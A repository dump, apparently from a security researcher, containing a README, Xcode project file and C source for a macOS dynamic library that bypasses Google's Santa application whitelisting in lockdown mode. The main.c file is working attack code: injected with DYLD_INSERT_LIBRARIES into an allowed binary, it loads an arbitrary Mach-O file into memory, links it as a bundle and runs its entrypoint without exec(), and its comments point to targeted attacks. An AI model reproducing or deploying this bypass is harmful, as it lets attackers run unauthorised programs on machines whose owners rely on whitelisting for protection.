├── README.md ├── hello_santa_bye_santa.xcodeproj └── project.pbxproj └── main.c /README.md: -------------------------------------------------------------------------------- 1 | Hello Santa Bye Santa 2 | 3 | Copyright (c) fG!, 2015. All rights reserved. 4 | reverser@put.as - https://reverse.put.as 5 | 6 | This is a dynamic library that allows to bypass Google's Santa in LOCKDOWN mode and execute unauthorised binaries. 7 | To be used with DYLD_INSERT_LIBRARIES against authorised binaries such as /bin/ls. 8 | 9 | Have fun, 10 | fG! -------------------------------------------------------------------------------- /hello_santa_bye_santa.xcodeproj/project.pbxproj: -------------------------------------------------------------------------------- 1 | // !$*UTF8*$! 2 | { 3 | archiveVersion = 1; 4 | classes = { 5 | }; 6 | objectVersion = 46; 7 | objects = { 8 | 9 | /* Begin PBXBuildFile section */ 10 | 7B2548DC1ADAC8E1001ED5DF /* main.c in Sources */ = {isa = PBXBuildFile; fileRef = 7B2548DB1ADAC8E1001ED5DF /* main.c */; }; 11 | /* End PBXBuildFile section */ 12 | 13 | /* Begin PBXFileReference section */ 14 | 7B2548D41ADAC8CA001ED5DF /* libhello_santa_bye_santa.dylib */ = {isa = PBXFileReference; explicitFileType = "compiled.mach-o.dylib"; includeInIndex = 0; path = libhello_santa_bye_santa.dylib; sourceTree = BUILT_PRODUCTS_DIR; }; 15 | 7B2548DB1ADAC8E1001ED5DF /* main.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = main.c; sourceTree = ""; }; 16 | /* End PBXFileReference section */ 17 | 18 | /* Begin PBXFrameworksBuildPhase section */ 19 | 7B2548D11ADAC8CA001ED5DF /* Frameworks */ = { 20 | isa = PBXFrameworksBuildPhase; 21 | buildActionMask = 2147483647; 22 | files = ( 23 | ); 24 | runOnlyForDeploymentPostprocessing = 0; 25 | }; 26 | /* End PBXFrameworksBuildPhase section */ 27 | 28 | /* Begin PBXGroup section */ 29 | 7B2548CB1ADAC8CA001ED5DF = { 30 | isa = PBXGroup; 31 | children = ( 32 | 7B2548DB1ADAC8E1001ED5DF /* main.c */, 33 | 7B2548D51ADAC8CA001ED5DF /* Products */, 34 | ); 35 | sourceTree = ""; 36 | }; 37 | 7B2548D51ADAC8CA001ED5DF /* Products */ = { 38 | isa = PBXGroup; 39 | children = ( 40 | 7B2548D41ADAC8CA001ED5DF /* libhello_santa_bye_santa.dylib */, 41 | ); 42 | name = Products; 43 | sourceTree = ""; 44 | }; 45 | /* End PBXGroup section */ 46 | 47 | /* Begin PBXHeadersBuildPhase section */ 48 | 7B2548D21ADAC8CA001ED5DF /* Headers */ = { 49 | isa = PBXHeadersBuildPhase; 50 | buildActionMask = 2147483647; 51 | files = ( 52 | ); 53 | runOnlyForDeploymentPostprocessing = 0; 54 | }; 55 | /* End PBXHeadersBuildPhase section */ 56 | 57 | /* Begin PBXNativeTarget section */ 58 | 7B2548D31ADAC8CA001ED5DF /* hello_santa_bye_santa */ = { 59 | isa = PBXNativeTarget; 60 | buildConfigurationList = 7B2548D81ADAC8CA001ED5DF /* Build configuration list for PBXNativeTarget "hello_santa_bye_santa" */; 61 | buildPhases = ( 62 | 7B2548D01ADAC8CA001ED5DF /* Sources */, 63 | 7B2548D11ADAC8CA001ED5DF /* Frameworks */, 64 | 7B2548D21ADAC8CA001ED5DF /* Headers */, 65 | ); 66 | buildRules = ( 67 | ); 68 | dependencies = ( 69 | ); 70 | name = hello_santa_bye_santa; 71 | productName = hello_santa_bye_santa; 72 | productReference = 7B2548D41ADAC8CA001ED5DF /* libhello_santa_bye_santa.dylib */; 73 | productType = "com.apple.product-type.library.dynamic"; 74 | }; 75 | /* End PBXNativeTarget section */ 76 | 77 | /* Begin PBXProject section */ 78 | 7B2548CC1ADAC8CA001ED5DF /* Project object */ = { 79 | isa = PBXProject; 80 | attributes = { 81 | LastUpgradeCheck = 0620; 82 | ORGANIZATIONNAME = Put.as; 83 | TargetAttributes = { 84 | 7B2548D31ADAC8CA001ED5DF = { 85 | CreatedOnToolsVersion = 6.2; 86 | }; 87 | }; 88 | }; 89 | buildConfigurationList = 7B2548CF1ADAC8CA001ED5DF /* Build configuration list for PBXProject "hello_santa_bye_santa" */; 90 | compatibilityVersion = "Xcode 3.2"; 91 | developmentRegion = English; 92 | hasScannedForEncodings = 0; 93 | knownRegions = ( 94 | en, 95 | ); 96 | mainGroup = 7B2548CB1ADAC8CA001ED5DF; 97 | productRefGroup = 7B2548D51ADAC8CA001ED5DF /* Products */; 98 | projectDirPath = ""; 99 | projectRoot = ""; 100 | targets = ( 101 | 7B2548D31ADAC8CA001ED5DF /* hello_santa_bye_santa */, 102 | ); 103 | }; 104 | /* End PBXProject section */ 105 | 106 | /* Begin PBXSourcesBuildPhase section */ 107 | 7B2548D01ADAC8CA001ED5DF /* Sources */ = { 108 | isa = PBXSourcesBuildPhase; 109 | buildActionMask = 2147483647; 110 | files = ( 111 | 7B2548DC1ADAC8E1001ED5DF /* main.c in Sources */, 112 | ); 113 | runOnlyForDeploymentPostprocessing = 0; 114 | }; 115 | /* End PBXSourcesBuildPhase section */ 116 | 117 | /* Begin XCBuildConfiguration section */ 118 | 7B2548D61ADAC8CA001ED5DF /* Debug */ = { 119 | isa = XCBuildConfiguration; 120 | buildSettings = { 121 | ALWAYS_SEARCH_USER_PATHS = NO; 122 | CLANG_CXX_LANGUAGE_STANDARD = "gnu++0x"; 123 | CLANG_CXX_LIBRARY = "libc++"; 124 | CLANG_ENABLE_MODULES = YES; 125 | CLANG_ENABLE_OBJC_ARC = YES; 126 | CLANG_WARN_BOOL_CONVERSION = YES; 127 | CLANG_WARN_CONSTANT_CONVERSION = YES; 128 | CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; 129 | CLANG_WARN_EMPTY_BODY = YES; 130 | CLANG_WARN_ENUM_CONVERSION = YES; 131 | CLANG_WARN_INT_CONVERSION = YES; 132 | CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; 133 | CLANG_WARN_UNREACHABLE_CODE = YES; 134 | CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; 135 | COPY_PHASE_STRIP = NO; 136 | ENABLE_STRICT_OBJC_MSGSEND = YES; 137 | GCC_C_LANGUAGE_STANDARD = gnu99; 138 | GCC_DYNAMIC_NO_PIC = NO; 139 | GCC_OPTIMIZATION_LEVEL = 0; 140 | GCC_PREPROCESSOR_DEFINITIONS = ( 141 | "DEBUG=1", 142 | "$(inherited)", 143 | ); 144 | GCC_SYMBOLS_PRIVATE_EXTERN = NO; 145 | GCC_WARN_64_TO_32_BIT_CONVERSION = YES; 146 | GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; 147 | GCC_WARN_UNDECLARED_SELECTOR = YES; 148 | GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; 149 | GCC_WARN_UNUSED_FUNCTION = YES; 150 | GCC_WARN_UNUSED_VARIABLE = YES; 151 | MACOSX_DEPLOYMENT_TARGET = 10.9; 152 | MTL_ENABLE_DEBUG_INFO = YES; 153 | ONLY_ACTIVE_ARCH = YES; 154 | SDKROOT = macosx; 155 | }; 156 | name = Debug; 157 | }; 158 | 7B2548D71ADAC8CA001ED5DF /* Release */ = { 159 | isa = XCBuildConfiguration; 160 | buildSettings = { 161 | ALWAYS_SEARCH_USER_PATHS = NO; 162 | CLANG_CXX_LANGUAGE_STANDARD = "gnu++0x"; 163 | CLANG_CXX_LIBRARY = "libc++"; 164 | CLANG_ENABLE_MODULES = YES; 165 | CLANG_ENABLE_OBJC_ARC = YES; 166 | CLANG_WARN_BOOL_CONVERSION = YES; 167 | CLANG_WARN_CONSTANT_CONVERSION = YES; 168 | CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; 169 | CLANG_WARN_EMPTY_BODY = YES; 170 | CLANG_WARN_ENUM_CONVERSION = YES; 171 | CLANG_WARN_INT_CONVERSION = YES; 172 | CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; 173 | CLANG_WARN_UNREACHABLE_CODE = YES; 174 | CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; 175 | COPY_PHASE_STRIP = NO; 176 | DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym"; 177 | ENABLE_NS_ASSERTIONS = NO; 178 | ENABLE_STRICT_OBJC_MSGSEND = YES; 179 | GCC_C_LANGUAGE_STANDARD = gnu99; 180 | GCC_WARN_64_TO_32_BIT_CONVERSION = YES; 181 | GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; 182 | GCC_WARN_UNDECLARED_SELECTOR = YES; 183 | GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; 184 | GCC_WARN_UNUSED_FUNCTION = YES; 185 | GCC_WARN_UNUSED_VARIABLE = YES; 186 | MACOSX_DEPLOYMENT_TARGET = 10.9; 187 | MTL_ENABLE_DEBUG_INFO = NO; 188 | SDKROOT = macosx; 189 | }; 190 | name = Release; 191 | }; 192 | 7B2548D91ADAC8CA001ED5DF /* Debug */ = { 193 | isa = XCBuildConfiguration; 194 | buildSettings = { 195 | DYLIB_COMPATIBILITY_VERSION = 1; 196 | DYLIB_CURRENT_VERSION = 1; 197 | EXECUTABLE_PREFIX = lib; 198 | PRODUCT_NAME = "$(TARGET_NAME)"; 199 | }; 200 | name = Debug; 201 | }; 202 | 7B2548DA1ADAC8CA001ED5DF /* Release */ = { 203 | isa = XCBuildConfiguration; 204 | buildSettings = { 205 | DYLIB_COMPATIBILITY_VERSION = 1; 206 | DYLIB_CURRENT_VERSION = 1; 207 | EXECUTABLE_PREFIX = lib; 208 | PRODUCT_NAME = "$(TARGET_NAME)"; 209 | }; 210 | name = Release; 211 | }; 212 | /* End XCBuildConfiguration section */ 213 | 214 | /* Begin XCConfigurationList section */ 215 | 7B2548CF1ADAC8CA001ED5DF /* Build configuration list for PBXProject "hello_santa_bye_santa" */ = { 216 | isa = XCConfigurationList; 217 | buildConfigurations = ( 218 | 7B2548D61ADAC8CA001ED5DF /* Debug */, 219 | 7B2548D71ADAC8CA001ED5DF /* Release */, 220 | ); 221 | defaultConfigurationIsVisible = 0; 222 | defaultConfigurationName = Release; 223 | }; 224 | 7B2548D81ADAC8CA001ED5DF /* Build configuration list for PBXNativeTarget "hello_santa_bye_santa" */ = { 225 | isa = XCConfigurationList; 226 | buildConfigurations = ( 227 | 7B2548D91ADAC8CA001ED5DF /* Debug */, 228 | 7B2548DA1ADAC8CA001ED5DF /* Release */, 229 | ); 230 | defaultConfigurationIsVisible = 0; 231 | }; 232 | /* End XCConfigurationList section */ 233 | }; 234 | rootObject = 7B2548CC1ADAC8CA001ED5DF /* Project object */; 235 | } 236 | -------------------------------------------------------------------------------- /main.c: -------------------------------------------------------------------------------- 1 | /* 2 | * _ _ __ _ 3 | * /\ /\___| | | ___ / _\ __ _ _ __ | |_ __ _ 4 | * / /_/ / _ \ | |/ _ \ \ \ / _` | '_ \| __/ _` | 5 | * / __ / __/ | | (_) | _\ \ (_| | | | | || (_| | 6 | * \/ /_/ \___|_|_|\___/ \__/\__,_|_| |_|\__\__,_| 7 | * 8 | * ___ __ _ 9 | * / __\_ _ ___ / _\ __ _ _ __ | |_ __ _ 10 | * /__\// | | |/ _ \ \ \ / _` | '_ \| __/ _` | 11 | * / \/ \ |_| | __/ _\ \ (_| | | | | || (_| | 12 | * \_____/\__, |\___| \__/\__,_|_| |_|\__\__,_| 13 | * |___/ 14 | * 15 | * A dynamic library to execute binaries via injection 16 | * 17 | * Able to bypass Google's Santa system in LOCKDOWN mode. 18 | * The reason is that the module only controls binaries from exec() 19 | * So we can execute a whitelisted binary with DYLD_INSERT_LIBRARIES 20 | * and before its entrypoint execute a malicious binaries in the same 21 | * thread that will not trigger exec(). 22 | * 23 | * Created by reverser on 22/11/14. 24 | * 25 | * Copyright (c) fG!, 2014, 2015. All rights reserved. 26 | * reverser@put.as - https://reverse.put.as 27 | * 28 | * Redistribution and use in source and binary forms, with or without 29 | * modification, are permitted provided that the following conditions 30 | * are met: 31 | * 1. Redistributions of source code must retain the above copyright 32 | * notice, this list of conditions and the following disclaimer. 33 | * 2. Redistributions in binary form must reproduce the above copyright 34 | * notice, this list of conditions and the following disclaimer in the 35 | * documentation and/or other materials provided with the distribution. 36 | * 3. The name of the author may not be used to endorse or promote products 37 | * derived from this software without specific prior written permission. 38 | * 39 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR 40 | * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES 41 | * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. 42 | * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, 43 | * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT 44 | * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 45 | * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 46 | * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 47 | * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF 48 | * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 49 | * 50 | */ 51 | 52 | #include 53 | #include 54 | #include 55 | #include 56 | #include 57 | #include 58 | #include 59 | #include 60 | #include 61 | #include 62 | #include 63 | #include 64 | #include 65 | 66 | /* the binary we want to execute */ 67 | /* this is a problem that needs to be solved */ 68 | /* probably using an env var for example? */ 69 | /* or just keep it this way since this could be used in a targetted attack */ 70 | #define TARGET "/Users/username/super_targetted_attack_binary" 71 | 72 | #define ERROR_MSG(fmt, ...) fprintf(stderr, "[ERROR] " fmt " \n", ## __VA_ARGS__) 73 | #define OUTPUT_MSG(fmt, ...) fprintf(stdout, fmt " \n", ## __VA_ARGS__) 74 | #define DEBUG_MSG(fmt, ...) fprintf(stdout, "[DEBUG] " fmt "\n", ## __VA_ARGS__) 75 | 76 | /* injected module needs a name */ 77 | #define INJECTED_MODULE_NAME "injectedcode" 78 | 79 | typedef void (*EntryPoint)(void); 80 | 81 | /* 82 | * function to locate LC_MAIN binaries entrypoint 83 | */ 84 | static int 85 | find_entrypoint(void *buffer, uint64_t *offset) 86 | { 87 | if (buffer == NULL || offset == NULL) 88 | { 89 | return -1; 90 | } 91 | 92 | struct mach_header *mh = (struct mach_header*)buffer; 93 | if (mh->ncmds == 0 || mh->sizeofcmds == 0) 94 | { 95 | return -1; 96 | } 97 | 98 | void *load_cmd = buffer; 99 | switch (mh->magic) 100 | { 101 | case MH_MAGIC_64: 102 | load_cmd += sizeof(struct mach_header_64); 103 | break; 104 | case MH_MAGIC: 105 | load_cmd += sizeof(struct mach_header); 106 | break; 107 | default: 108 | return -1; 109 | } 110 | 111 | for (uint32_t i = 0; i < mh->ncmds; i++) 112 | { 113 | struct load_command *lc = (struct load_command*)load_cmd; 114 | if (lc->cmd == LC_MAIN) 115 | { 116 | struct entry_point_command *ep = (struct entry_point_command*)lc; 117 | *offset = ep->entryoff; 118 | break; 119 | } 120 | load_cmd = (char*)load_cmd + lc->cmdsize; 121 | } 122 | return 0; 123 | } 124 | 125 | /* 126 | * the image observer allows us to find our injected image 127 | * and know its base address 128 | * then it's just a matter of finding the entrypoint and execute it 129 | */ 130 | static void 131 | image_observer(const struct mach_header* mh, intptr_t vmaddr_slide) 132 | { 133 | static int image_counter = 0; 134 | char *image_name = (char*)_dyld_get_image_name(image_counter); 135 | if (image_name == NULL) 136 | { 137 | image_counter++; 138 | return; 139 | } 140 | 141 | image_counter++; 142 | if (strcmp(image_name, INJECTED_MODULE_NAME) == 0) 143 | { 144 | DEBUG_MSG("Found image %s at address %p with slide %p!", image_name, (void*)mh, (void*)vmaddr_slide); 145 | /* locate the entrypoint of the injected binary */ 146 | uint64_t entrypoint_offset = 0; 147 | find_entrypoint((void*)mh, &entrypoint_offset); 148 | 149 | /* set the function pointer that we use to start the injected code */ 150 | /* NOTE: the prototype assumes no arguments to the injected code! */ 151 | EntryPoint f = (EntryPoint)((char*)mh + entrypoint_offset); 152 | DEBUG_MSG("Injected binary entrypoint: %p", (void*)f); 153 | 154 | if (f == NULL) 155 | { 156 | fprintf(stderr, "Could not get address of symbol.\n"); 157 | return; 158 | } 159 | /* just launch the injected module by calling the entrypoint*/ 160 | else 161 | { 162 | DEBUG_MSG("Executing injected code..."); 163 | f(); 164 | DEBUG_MSG("End of injected code..."); 165 | } 166 | /* XXX: cleanup */ 167 | } 168 | return; 169 | } 170 | 171 | /* the library entrypoint where everything starts */ 172 | void 173 | __attribute__ ((constructor)) init(void) 174 | { 175 | /* load the target file into our buffer */ 176 | int fd = -1; 177 | if ((fd = open(TARGET, O_RDONLY)) == -1) 178 | { 179 | ERROR_MSG("Can't open target %s.", TARGET); 180 | return; 181 | } 182 | struct stat stat = {0}; 183 | if (fstat(fd, &stat) < 0) 184 | { 185 | ERROR_MSG("Can't fstat target %s.", TARGET); 186 | close(fd); 187 | return; 188 | } 189 | 190 | void *target_buf = NULL; 191 | kern_return_t kr = 0; 192 | /* allocate memory with mach_vm_allocate (requisite) and copy the file into it */ 193 | kr = mach_vm_allocate(mach_task_self(), (mach_vm_address_t*)&target_buf, stat.st_size, VM_FLAGS_ANYWHERE); 194 | if (kr != KERN_SUCCESS) 195 | { 196 | ERROR_MSG("Can't allocate buffer for target."); 197 | close(fd); 198 | return; 199 | } 200 | ssize_t bytes_read = 0; 201 | bytes_read = pread(fd, target_buf, stat.st_size, 0); 202 | 203 | if (bytes_read == -1 || 204 | bytes_read < stat.st_size) 205 | { 206 | ERROR_MSG("Failed to read target."); 207 | close(fd); 208 | return; 209 | } 210 | 211 | /* modify file type to MH_BUNDLE if necessary */ 212 | /* the file type must be MH_BUNDLE but we can convert it on the fly */ 213 | struct mach_header *mh = (struct mach_header*)target_buf; 214 | if (mh->magic != MH_MAGIC_64) 215 | { 216 | ERROR_MSG("Invalid Mach-O target."); 217 | close(fd); 218 | return; 219 | } 220 | if (mh->filetype != MH_BUNDLE) 221 | { 222 | mh->filetype = MH_BUNDLE; 223 | } 224 | 225 | /* now we are ready to call the dyld NS* stuff and get our binary executed */ 226 | NSObjectFileImageReturnCode dyld_err; 227 | NSObjectFileImage ofi; 228 | 229 | dyld_err = NSCreateObjectFileImageFromMemory(target_buf, stat.st_size, &ofi); 230 | if (dyld_err != NSObjectFileImageSuccess) 231 | { 232 | ERROR_MSG("Failed to create object file with error %d", dyld_err); 233 | } 234 | const char *moduleName; 235 | uint32_t options = NSLINKMODULE_OPTION_BINDNOW; 236 | NSModule m = NULL; 237 | /* a name for the module so it can be identified by the image observer */ 238 | moduleName = INJECTED_MODULE_NAME; 239 | /* finally link the module */ 240 | m = NSLinkModule(ofi, moduleName, options); 241 | if (m == NULL) 242 | { 243 | ERROR_MSG("Failed to link module!"); 244 | } 245 | else 246 | { 247 | /* register a dyld image observer 248 | * we need it because we don't know where the injected image was loaded at 249 | * it's not our allocated buffer but a new copy of it 250 | * so we can find that image via the name and execute it from there 251 | */ 252 | _dyld_register_func_for_add_image(image_observer); 253 | } 254 | 255 | close(fd); 256 | 257 | // /* we can deallocate memory because NSLinkModule will create its own copy */ 258 | // target_buf = NULL; 259 | // mach_vm_deallocate(mach_task_self(), (mach_vm_address_t)target_buf, stat.st_size); 260 | } 261 | --------------------------------------------------------------------------------